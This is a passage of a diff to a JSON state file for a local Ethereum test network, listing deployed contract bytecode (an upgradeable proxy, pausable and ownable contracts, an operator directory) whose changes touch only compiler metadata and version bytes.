08060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a2646970667358221220164a1e6647f9a7e6acdd95fe11c2a51bff432bb3e4654da860b9e0fe8c10f37064736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x00000000000000000000000000000000000000000000000000000000000000ff" } @@ -142,7 +142,7 @@ "0x8a791620dd6260079bf849dc5567adc3f2fdc318": { "nonce": 1, "balance": "0x0", - "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033", + "code": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", "storage": { "0x0000000000000000000000000000000000000000000000000000000000000000": "0x0000000000000000000000000000000000000000000000000000000000000001", "0x0000000000000000000000000000000000000000000000000000000000000033": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", @@ -162,7 +162,7 @@ "0x959922be3caee4b8cd9a407cc3ac1c251c2007b1": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033", + "code": "0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212204498542bd53fe5969cd2484cb9f25ea6fca9228d748c3cfb4c54b0eae1d8b52e64736f6c634300081b0033", "storage": {} }, "0x976ea74026e726554db657fa54763abd0c3a0aa9": { @@ -180,7 +180,7 @@ "0x9a676e781a523b5d0c0e43731313a708cb607508": { "nonce": 1, "balance": "0x0", - "code": "0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e5